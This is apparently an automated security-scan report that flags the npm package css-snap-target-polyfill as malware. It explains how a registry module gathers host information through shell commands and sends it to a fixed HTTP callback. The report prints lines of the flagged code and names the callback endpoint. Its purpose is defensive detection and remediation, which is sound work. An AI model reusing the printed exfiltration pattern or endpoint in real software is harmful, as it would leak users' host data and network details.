registry / Data exfiltration / css-snap-target-polyfill
css-snap-target-polyfill
Polyfill for CSS scroll-snap-target pseudo-class
This report shows the evidence for css-snap-target-polyfill@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source establishes automatic host-data collection and transmission upon registry-module loading. The empty default entrypoint limits activation but does not neutralize the executable exfiltration payload.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js directly or through a consumer of registry-manifest.min.json.
Impact
Disclosure of hostname, user identity, operating-system details, network configuration, and /etc/hosts contents.
Mechanism
An immediately invoked function uses child_process.execSync to collect host information and fetch to send it to a fixed HTTP callback.
Attack narrative
The default entrypoint is empty, but the package ships a registry module and a manifest directing several registry names to it. Loading that module immediately collects host information through shell commands and sends the results to an unrelated HTTP callback. Exceptions are swallowed, and matching require-cache entries are removed. This is concrete conditional data exfiltration unrelated to a CSS polyfill.
AI rationale
Inspected source establishes automatic host-data collection and transmission upon registry-module loading. The empty default entrypoint limits activation but does not neutralize the executable exfiltration payload.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints1
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Loading thunderboltRegistry.js immediately executes shell commands and forwards their output without a consent gate.
- The module sends the hostname and collected output to a fixed unrelated HTTP callback.
- The module reads /etc/hosts and transmits up to 2,000 characters of its contents.
- registry-manifest.min.json maps several registry modules to the executable payload.
- The module deletes matching registry entries from the require cache.
Evidence against
- package.json has no lifecycle scripts, and its default index.js entrypoint exports an empty object; ordinary installation or default import does not activate the payload.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-field-sizing-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = e9cbfffc3017b8e0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-field-sizing-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
8 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-snap-target-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-snap-target-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.